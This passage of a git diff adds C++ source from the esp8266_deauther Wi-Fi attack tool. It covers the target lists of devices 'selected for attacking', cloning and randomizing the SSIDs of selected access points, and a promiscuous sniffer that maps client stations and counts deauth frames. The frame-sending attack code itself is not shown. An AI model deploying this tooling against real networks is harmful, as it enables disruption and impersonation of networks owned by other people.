+ internal_deselect(num); + prnt(N_DESELECTED); + prntln(getName(num)); + changed = true; +} + +void Names::deselect(String name) { + int c = count(); + + for (int i = 0; i < c; i++) { + if (getName(i).equals(name)) { + deselect(i); + return; + } + } + prnt(N_ERROR_NOT_FOUND); + prnt(name); +} + +void Names::selectAll() { + int c = count(); + + for (int i = 0; i < c; i++) internal_select(i); + prntln(N_SELECTED_ALL); +} + +void Names::deselectAll() { + int c = count(); + + for (int i = 0; i < c; i++) internal_deselect(i); + prntln(N_DESELECTED_ALL); +} + +uint8_t* Names::getMac(int num) { + if (!check(num)) return NULL; + + return list->get(num).mac; +} + +uint8_t* Names::getBssid(int num) { + if (!check(num)) return NULL; + + return list->get(num).apBssid; +} + +String Names::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); +} + +String Names::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(list->get(num).mac); +} + +String Names::getBssidStr(int num) { + String value; + + if (getBssid(num) != NULL) { + uint8_t* mac = getBssid(num); + + for (int i = 0; i < 6; i++) { + if (mac[i] < 0x10) value += ZERO; + value += String(mac[i], HEX); + + if (i < 5) value += DOUBLEPOINT; + } + } + return value; +} + +String Names::getName(int num) { + if (!check(num)) return String(); + + return String(list->get(num).name); +} + +String Names::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint8_t Names::getCh(int num) { + if (!check(num)) return 1; + + return list->get(num).ch; +} + +bool Names::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +bool Names::isStation(int num) { + return getBssid(num) != NULL; +} + +int Names::count() { + return list->size(); +} + +int Names::selected() { + int num = 0; + + for (int i = 0; i < count(); i++) + if (getSelected(i)) num++; + return num; +} + +int Names::stations() { + int num = 0; + + for (int i = 0; i < count(); i++) + if (isStation(i)) num++; + return num; +} + +bool Names::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Names::internal_select(int num) { + Device newDevice = list->get(num); + + newDevice.selected = true; + list->replace(num, newDevice); +} + +void Names::internal_deselect(int num) { + Device newDevice = list->get(num); + + newDevice.selected = false; + list->replace(num, newDevice); +} + +void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) { + uint8_t* deviceMac = (uint8_t*)malloc(6); + + if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + char* deviceName = (char*)malloc(name.length() + 1); + uint8_t* deviceBssid = NULL; + + name = fixUtf8(name); + + memcpy(deviceMac, mac, 6); + strcpy(deviceName, name.c_str()); + + if (bssid) { + deviceBssid = (uint8_t*)malloc(6); + memcpy(deviceBssid, bssid, 6); + } + + if ((ch < 1) || (ch > 14)) ch = 1; + + Device newDevice; + newDevice.mac = deviceMac; + newDevice.name = deviceName; + newDevice.apBssid = deviceBssid; + newDevice.ch = ch; + newDevice.selected = selected; + + list->add(newDevice); +} + +void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) { + uint8_t mac[6]; + + if (!strToMac(macStr, mac)) return; + + if (bssidStr.length() == 17) { + uint8_t bssid[6]; + strToMac(bssidStr, bssid); + internal_add(mac, name, bssid, ch, selected); + } else { + internal_add(mac, name, NULL, ch, selected); + } +} + +void Names::internal_remove(int num) { + free(list->get(num).mac); + free(list->get(num).name); + + if (list->get(num).apBssid) free(list->get(num).apBssid); + list->remove(num); +} + +void Names::internal_removeAll() { + while (count() > 0) { + free(list->get(0).mac); + free(list->get(0).name); + + if (list->get(0).apBssid) free(list->get(0).apBssid); + list->remove(0); + } +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Names.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Names.h new file mode 100755 index 0000000..328891e --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Names.h @@ -0,0 +1,104 @@ +#ifndef Names_h +#define Names_h + +#include "Arduino.h" +#include +#include +extern "C" { + #include "user_interface.h" +} +#include "ArduinoJson.h" +#include "language.h" +#include "SimpleList.h" + +#define NAME_LIST_SIZE 25 +#define NAME_MAX_LENGTH 16 + +extern void checkFile(String path, String data); +extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); +extern bool writeFile(String path, String& buf); +extern bool appendFile(String path, String& buf); +extern bool strToMac(String macStr, uint8_t* mac); +extern String searchVendor(uint8_t* mac); +extern String fixUtf8(String str); +extern String leftRight(String a, String b, int len); +extern String escape(String str); +extern String bytesToStr(uint8_t* b, uint32_t size); + +class Names { + public: + Names(); + + void load(); + void load(String filepath); + void save(bool force); + void save(bool force, String filepath); + void sort(); + + String find(uint8_t* mac); + int findID(uint8_t* mac); + + void print(int num); + void print(int num, bool header, bool footer); + void select(int num); + void select(String name); + void deselect(int num); + void deselect(String name); + void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force); + void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force); + void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected); + void remove(int num); + + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + uint8_t* getMac(int num); + uint8_t* getBssid(int num); + String getMacStr(int num); + String getBssidStr(int num); + String getName(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + bool getSelected(int num); + bool isStation(int num); + + void setName(int num, String name); + void setMac(int num, String macStr); + void setCh(int num, uint8_t ch); + void setBSSID(int num, String bssidStr); + + int count(); + int selected(); + int stations(); + + bool check(int num); + + private: + String FILE_PATH = "/names.json"; + bool changed = false; + + struct Device { + uint8_t* mac; // mac address + char * name; // name of saved device + uint8_t* apBssid; // mac address of AP (if saved device is a station) + uint8_t ch; // Wi-Fi channel of Device + bool selected; // select for attacking + }; + + SimpleList* list; + + int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd); + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected); + void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected); + void internal_remove(int num); + void internal_removeAll(); +}; + +#endif // ifndef Names_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp new file mode 100755 index 0000000..f1459f3 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp @@ -0,0 +1,314 @@ +#include "SSIDs.h" + +SSIDs::SSIDs() { + list = new SimpleList; +} + +void SSIDs::load() { + internal_removeAll(); + DynamicJsonBuffer jsonBuffer(4000); + + checkFile(FILE_PATH, str(SS_JSON_DEFAULT)); + JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer); + JsonArray & arr = obj.get(str(SS_JSON_SSIDS)); + + for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) { + JsonArray& tmpArray = arr.get(i); + internal_add(tmpArray.get(0), tmpArray.get(1), tmpArray.get(2)); + } + + prnt(SS_LOADED); + prntln(FILE_PATH); +} + +void SSIDs::load(String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + load(); + FILE_PATH = tmp; +} + +void SSIDs::removeAll() { + internal_removeAll(); + prntln(SS_CLEARED); + changed = true; +} + +void SSIDs::save(bool force) { + if (!force && !changed) return; + + String buf = String(); // create buffer + buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String( + DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false, + buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + + String(OPEN_BRACKET); // "ssids":[ + + if (!writeFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + buf = String(); // clear buffer + + String name; + int c = count(); + + for (int i = 0; i < c; i++) { + name = escape(getName(i)); + + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name", + buf += b2s(getWPA2(i)) + String(COMMA); // false, + buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12] + + if (i < c - 1) buf += COMMA; // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]} + + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + prnt(SS_SAVED_IN); + prntln(FILE_PATH); + changed = false; +} + +void SSIDs::save(bool force, String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + save(force); + FILE_PATH = tmp; +} + +void SSIDs::update() { + if (randomMode) { + if (currentTime - randomTime > randomInterval * 1000) { + prntln(SS_RANDOM_INFO); + + for (int i = 0; i < SSID_LIST_SIZE; i++) { + SSID newSSID; + + if (check(i)) newSSID = list->get(i); + + newSSID.name = String(); + newSSID.len = 32; + + for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127)); + + newSSID.wpa2 = random(0, 2); + + if (check(i)) list->replace(i, newSSID); + else list->add(newSSID); + } + + randomTime = currentTime; + changed = true; + } + } +} + +String SSIDs::getName(int num) { + return check(num) ? list->get(num).name : String(); +} + +bool SSIDs::getWPA2(int num) { + return check(num) ? list->get(num).wpa2 : false; +} + +int SSIDs::getLen(int num) { + return check(num) ? list->get(num).len : 0; +} + +void SSIDs::setWPA2(int num, bool wpa2) { + SSID newSSID = list->get(num); + + newSSID.wpa2 = wpa2; + list->replace(num, newSSID); +} + +String SSIDs::getEncStr(int num) { + if (getWPA2(num)) return "WPA2"; + else return "-"; +} + +void SSIDs::remove(int num) { + if (!check(num)) return; + + internal_remove(num); + prnt(SS_REMOVED); + prntln(getName(num)); + changed = true; +} + +String SSIDs::randomize(String name) { + int ssidlen = name.length(); + + if (ssidlen > 32) name = name.substring(0, 32); + + if (ssidlen < 32) { + for (int i = ssidlen; i < 32; i++) { + int rnd = random(3); + + if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE + name += char(0xE2); + name += char(0x80); + name += char(0x8B); + i += 2; + } else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE + name += char(0xC2); + name += char(0xA0); + i += 1; + } else { + name += char(0x20); // SPACE + } + } + } + return name; +} + +void SSIDs::add(String name, bool wpa2, int clones, bool force) { + if (list->size() >= SSID_LIST_SIZE) { + if (force) { + internal_remove(0); + } else { + prntln(SS_ERROR_FULL); + return; + } + } + + if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE; + + for (int i = 0; i < clones; i++) { + internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length()); + + if (list->size() > SSID_LIST_SIZE) internal_remove(0); + } + + prnt(SS_ADDED); + prntln(name); + changed = true; +} + +void SSIDs::cloneSelected(bool force) { + if (accesspoints.selected() > 0) { + int clones = SSID_LIST_SIZE; + + if (!force) clones -= list->size(); + clones /= accesspoints.selected(); + + int apCount = accesspoints.count(); + + for (int i = 0; i < apCount; i++) { + if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force); + } + } +} + +bool SSIDs::getRandom() { + return randomMode; +} + +void SSIDs::replace(int num, String name, bool wpa2) { + if (!check(num)) return; + + int len = name.length(); + + if (len > 32) len = 32; + SSID newSSID; + newSSID.name = randomize(name); + newSSID.wpa2 = wpa2; + newSSID.len = (uint8_t)len; + list->replace(num, newSSID); + + prnt(SS_REPLACED); + prntln(name); + changed = true; +} + +void SSIDs::print(int num) { + print(num, true, false); +} + +void SSIDs::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(SS_TABLE_HEADER); + prntln(SS_TABLE_DIVIDER); + } + + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE), getEncStr(num), 5)); + prntln(leftRight(String(SPACE) + getName(num), String(), 33)); + + if (footer) prntln(SS_TABLE_DIVIDER); +} + +void SSIDs::printAll() { + prntln(SS_HEADER); + int c = count(); + + if (c == 0) prntln(SS_ERROR_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +int SSIDs::count() { + return list->size(); +} + +bool SSIDs::check(int num) { + return num >= 0 && num < count(); +} + +void SSIDs::enableRandom(uint32_t randomInterval) { + randomMode = true; + SSIDs::randomInterval = randomInterval; + prntln(SS_RANDOM_ENABLED); + update(); +} + +void SSIDs::disableRandom() { + randomMode = false; + internal_removeAll(); + prntln(SS_RANDOM_DISABLED); +} + +void SSIDs::internal_add(String name, bool wpa2, int len) { + if (len > 32) { + name = name.substring(0, 32); + len = 32; + } + + name = fixUtf8(name); + + SSID newSSID; + newSSID.name = name; + newSSID.wpa2 = wpa2; + newSSID.len = (uint8_t)len; + + list->add(newSSID); +} + +void SSIDs::internal_remove(int num) { + list->remove(num); +} + +void SSIDs::internal_removeAll() { + list->clear(); +} diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h b/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h new file mode 100755 index 0000000..85e9659 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h @@ -0,0 +1,87 @@ +#ifndef SSIDs_h +#define SSIDs_h + +#include "Arduino.h" +#include +#include +extern "C" { + #include "user_interface.h" +} +#include "ArduinoJson.h" +#include "language.h" +#include "SimpleList.h" +#include "Settings.h" +#include "Accesspoints.h" + +#define SSID_LIST_SIZE 60 + +extern Settings settings; +extern uint32_t currentTime; +extern Accesspoints accesspoints; + +extern void checkFile(String path, String data); +extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); +extern bool appendFile(String path, String& buf); +extern bool writeFile(String path, String& buf); +extern void readFileToSerial(String path); +extern String fixUtf8(String str); +extern String leftRight(String a, String b, int len); +extern String escape(String str); + +class SSIDs { + public: + SSIDs(); + + void load(); + void load(String filepath); + void save(bool force); + void save(bool force, String filepath); + void update(); + + void print(int num); + void print(int num, bool header, bool footer); + void add(String name, bool wpa2, int clones, bool force); + void cloneSelected(bool force); + void remove(int num); + void enableRandom(uint32_t randomInterval); + void disableRandom(); + bool getRandom(); + + String getName(int num); + bool getWPA2(int num); + String getEncStr(int num); + int getLen(int num); + + void setWPA2(int num, bool wpa2); + void replace(int num, String name, bool wpa2); + + void printAll(); + void removeAll(); + + int count(); + + private: + bool changed = false; + bool randomMode = false; + uint32_t randomInterval = 2000; + uint32_t randomTime = 0; + + struct SSID { + String name; // SSID + bool wpa2; // WPA2 encrypted or not + uint8_t len; // original length (before editing it to be 32 characters) + }; + + String FILE_PATH = "/ssids.json"; + + SimpleList* list; + + bool check(int num); + String randomize(String name); + + void internal_add(String name, bool wpa2, int add); + void internal_remove(int num); + void internal_removeAll(); +}; + +#endif // ifndef SSIDs_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp new file mode 100755 index 0000000..2d144b9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp @@ -0,0 +1,448 @@ +#include "Scan.h" + +Scan::Scan() { + list = new SimpleList; +} + +void Scan::sniffer(uint8_t* buf, uint16_t len) { + if (!isSniffing()) return; + + packets++; + + if (len < 28) return; // drop frames that are too short to have a valid MAC header + + if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) { + tmpDeauths++; + return; + } + + // drop beacon frames, probe requests/responses and deauth/disassociation frames + if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return; + + // only allow data frames + // if(buf[12] != 0x08 && buf[12] != 0x88) return; + + uint8_t* macTo = &buf[16]; + uint8_t* macFrom = &buf[22]; + + if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || + macMulticast(macFrom)) return; + + int accesspointNum = findAccesspoint(macFrom); + + if (accesspointNum >= 0) { + stations.add(macTo, accesspoints.getID(accesspointNum)); + } else { + accesspointNum = findAccesspoint(macTo); + + if (accesspointNum >= 0) { + stations.add(macFrom, accesspoints.getID(accesspointNum)); + } + } +} + +int Scan::findAccesspoint(uint8_t* mac) { + for (int i = 0; i < accesspoints.count(); i++) { + if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i; + } + return -1; +} + +void Scan::start(uint8_t mode) { + start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel); +} + +void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, + uint8_t channel) { + if (mode != SCAN_MODE_OFF) stop(); + + setWifiChannel(channel); + Scan::continueStartTime = currentTime; + Scan::snifferPacketTime = continueStartTime; + Scan::snifferOutputTime = continueStartTime; + Scan::continueTime = continueTime; + Scan::sniffTime = time; + Scan::channelHop = channelHop; + Scan::scanMode = mode; + Scan::scan_continue_mode = nextmode; + + if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000; + + // Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, + // time, scan_continue_mode, continueTime, channelHop, channel); + + /* AP Scan */ + if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) { + // remove old results + accesspoints.removeAll(); + stations.removeAll(); + // start AP scan + prntln(SC_START_AP); + WiFi.scanNetworks(true, true); + } + + /* Station Scan */ + else if (mode == SCAN_MODE_STATIONS) { + // start station scan + if (accesspoints.count() < 1) { + start(SCAN_MODE_ALL); + // Serial.println(str(SC_ERROR_NO_AP)); + return; + } + snifferStartTime = currentTime; + prnt(SC_START_CLIENT); + + if (sniffTime > 0) prnt(String(sniffTime / 1000) + S); + else prnt(SC_INFINITELY); + + if (!channelHop) { + prnt(SC_ON_CHANNEL); + prnt(wifi_channel); + } + prntln(); + + // enable sniffer + stopAP(); + wifi_promiscuous_enable(true); + } + + else if (mode == SCAN_MODE_SNIFFER) { + deauths = tmpDeauths; + tmpDeauths = 0; + snifferStartTime = currentTime; + prnt(SS_START_SNIFFER); + + if (sniffTime > 0) prnt(String(sniffTime / 1000) + S); + else prnt(SC_INFINITELY); + prnt(SC_ON_CHANNEL); + prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel); + + // enable sniffer + stopAP(); + wifi_promiscuous_enable(true); + } + + /* Stop scan */ + else if (mode == SCAN_MODE_OFF) { + wifi_promiscuous_enable(false); + + if (settings.getWebInterface()) resumeAP(); + prntln(SC_STOPPED); + save(true); + + if (scan_continue_mode != SCAN_MODE_OFF) { + prnt(SC_RESTART); + prnt(int(continueTime / 1000)); + prntln(SC_CONTINUE); + } + } + + /* ERROR */ + else { + prnt(SC_ERROR_MODE); + prntln(mode); + return; + } +} + +void Scan::update() { + if (scanMode == SCAN_MODE_OFF) { + // restart scan if it is continuous + if (scan_continue_mode != SCAN_MODE_OFF) { + if (currentTime - continueStartTime > continueTime) start(scan_continue_mode); + } + return; + } + + // sniffer + if (isSniffing()) { + // update packet list every 1s + if (currentTime - snifferPacketTime > 1000) { + snifferPacketTime = currentTime; + list->add(packets); + + if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0); + deauths = tmpDeauths; + tmpDeauths = 0; + packets = 0; + } + + // print status every 3s + if (currentTime - snifferOutputTime > 3000) { + char s[100]; + + if (sniffTime > 0) { + sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths); + } else { + sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths); + } + prnt(String(s)); + snifferOutputTime = currentTime; + } + + // channel hopping + if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) { + snifferChannelTime = currentTime; + + if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on + else setChannel(wifi_channel + 1); // go to next channel + } + } + + // APs + if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) { + int16_t results = WiFi.scanComplete(); + + if (results >= 0) { + for (int16_t i = 0; i < results && i < 256; i++) { + if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false); + } + accesspoints.sort(); + accesspoints.printAll(); + + if (scanMode == SCAN_MODE_ALL) { + delay(30); + start(SCAN_MODE_STATIONS); + } + else start(SCAN_MODE_OFF); + } + } + + // Stations + else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) { + wifi_promiscuous_enable(false); + + if (scanMode == SCAN_MODE_STATIONS) { + stations.sort(); + stations.printAll(); + } + start(SCAN_MODE_OFF); + } +} + +void Scan::setup() { + save(true); +} + +void Scan::stop() { + scan_continue_mode = SCAN_MODE_OFF; + start(SCAN_MODE_OFF); +} + +void Scan::setChannel(uint8_t ch) { + if (ch > 14) ch = 1; + else if (ch < 1) ch = 14; + + wifi_promiscuous_enable(0); + setWifiChannel(ch); + wifi_promiscuous_enable(1); +} + +void Scan::nextChannel() { + if (accesspoints.count() > 1) { + uint8_t ch = wifi_channel; + + do { + ch++; + + if (ch > 14) ch = 1; + } while (!apWithChannel(ch)); + setChannel(ch); + } +} + +bool Scan::apWithChannel(uint8_t ch) { + for (int i = 0; i < accesspoints.count(); i++) + if (accesspoints.getCh(i) == ch) return true; + + return false; +} + +void Scan::save(bool force, String filePath) { + String tmp = FILE_PATH; + + FILE_PATH = filePath; + save(true); + FILE_PATH = tmp; +} + +void Scan::save(bool force) { + if (!(accesspoints.changed || stations.changed) && !force) return; + + // Accesspoints + String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String( + DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[ + + if (!writeFile(FILE_PATH, buf)) { // overwrite old file + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + uint32_t apCount = accesspoints.count(); + + for (uint32_t i = 0; i < apCount; i++) { + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + + String(COMMA); // ["ssid", + buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(accesspoints.getCh(i)) + String(COMMA); // 1, + buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30, + buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2", + buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22", + buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < apCount - 1) buf += String(COMMA); // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + // Stations + buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[; + uint32_t stationCount = stations.count(); + + for (uint32_t i = 0; i < stationCount; i++) { + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + + String(COMMA); // ["00:11:22:00:11:22", + buf += String(stations.getCh(i)) + String(COMMA); // 1, + buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += String(*stations.getPkts(i)) + String(COMMA); // 123, + buf += String(stations.getAP(i)) + String(COMMA); // 0, + buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min", + buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < stationCount - 1) buf += String(COMMA); // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]} + + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + accesspoints.changed = false; + stations.changed = false; + prnt(SC_SAVED_IN); + prntln(FILE_PATH); +} + +uint32_t Scan::countSelected() { + return accesspoints.selected() + stations.selected() + names.selected(); +} + +uint32_t Scan::countAll() { + return accesspoints.count() + stations.count() + names.count(); +} + +bool Scan::isScanning() { + return scanMode != SCAN_MODE_OFF; +} + +bool Scan::isSniffing() { + return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER; +} + +uint8_t Scan::getPercentage() { + if (!isSniffing()) return 0; + + return (currentTime - snifferStartTime) / (sniffTime / 100); +} + +void Scan::selectAll() { + accesspoints.selectAll(); + stations.selectAll(); + names.selectAll(); +} + +void Scan::deselectAll() { + accesspoints.deselectAll(); + stations.deselectAll(); + names.deselectAll(); +} + +void Scan::printAll() { + accesspoints.printAll(); + stations.printAll(); + names.printAll(); + ssids.printAll(); +} + +void Scan::printSelected() { + accesspoints.printSelected(); + stations.printSelected(); + names.printSelected(); +} + +uint32_t Scan::getPackets(int i) { + if (list->size() < SCAN_PACKET_LIST_SIZE) { + uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size(); + + if (i >= translatedNum) return list->get(i - translatedNum); + + return 0; + } else { + return list->get(i); + } +} + +String Scan::getMode() { + switch (scanMode) { + case SCAN_MODE_OFF: + return str(SC_MODE_OFF); + + case SCAN_MODE_APS: + return str(SC_MODE_AP); + + case SCAN_MODE_STATIONS: + return str(SC_MODE_ST); + + case SCAN_MODE_ALL: + return str(SC_MODE_ALL); + + case SCAN_MODE_SNIFFER: + return str(SC_MODE_SNIFFER); + + default: + return String(); + } +} + +double Scan::getScaleFactor(uint8_t height) { + return (double)height / (double)getMaxPacket(); +} + +uint32_t Scan::getMaxPacket() { + uint16_t max = 0; + + for (uint8_t i = 0; i < list->size(); i++) { + if (list->get(i) > max) max = list->get(i); + } + return max; +} + +uint32_t Scan::getPacketRate() { + return list->get(list->size() - 1); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h new file mode 100755 index 0000000..1d63162 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h @@ -0,0 +1,98 @@ +#ifndef Scan_h +#define Scan_h + +#include "Arduino.h" +#include "Accesspoints.h" +#include "Stations.h" +#include "Names.h" +#include "SSIDs.h" +#include "Settings.h" +#include "language.h" +#include "SimpleList.h" + +#define SCAN_MODE_OFF 0 +#define SCAN_MODE_APS 1 +#define SCAN_MODE_STATIONS 2 +#define SCAN_MODE_ALL 3 +#define SCAN_MODE_SNIFFER 4 +#define SCAN_DEFAULT_TIME 15000 +#define SCAN_DEFAULT_CONTINUE_TIME 10000 +#define SCAN_PACKET_LIST_SIZE 64 + +extern Accesspoints accesspoints; +extern Stations stations; +extern Names names; +extern SSIDs ssids; +extern Settings settings; +extern uint8_t wifiMode; + +extern void setWifiChannel(uint8_t ch); +extern bool appendFile(String path, String& buf); +extern bool writeFile(String path, String& buf); +extern void readFileToSerial(const String path); +extern void resumeAP(); +extern void stopAP(); +extern String escape(String str); + +class Scan { + public: + Scan(); + + void sniffer(uint8_t* buf, uint16_t len); + void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel); + void start(uint8_t mode); + + void setup(); + void update(); + void stop(); + void save(bool force); + void save(bool force, String filePath); + + void selectAll(); + void deselectAll(); + void printAll(); + void printSelected(); + + uint8_t getPercentage(); + uint32_t getPackets(int i); + uint32_t countAll(); + uint32_t countSelected(); + bool isScanning(); + bool isSniffing(); + + void nextChannel(); + void setChannel(uint8_t newChannel); + + String getMode(); + double getScaleFactor(uint8_t height); + uint32_t getMaxPacket(); + uint32_t getPacketRate(); + + uint16_t deauths = 0; + uint16_t packets = 0; + + private: + SimpleList* list; // packet list + + uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs + uint32_t snifferStartTime = 0; // when the scan started + uint32_t snifferOutputTime = 0; // last info output (every 3s) + uint32_t snifferChannelTime = 0; // last time the channel was changed + uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s) + + uint8_t scanMode = 0; + + uint8_t scan_continue_mode = 0; // restart mode after scan stopped + uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts + uint32_t continueStartTime = 0; // when scan restarted + + bool channelHop = true; + uint16_t tmpDeauths = 0; + + bool apWithChannel(uint8_t ch); + int findAccesspoint(uint8_t* mac); + + String FILE_PATH = "/scan.json"; +}; + +#endif // ifndef Scan_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp new file mode 100755 index 0000000..c5d91da --- /dev/null +++ 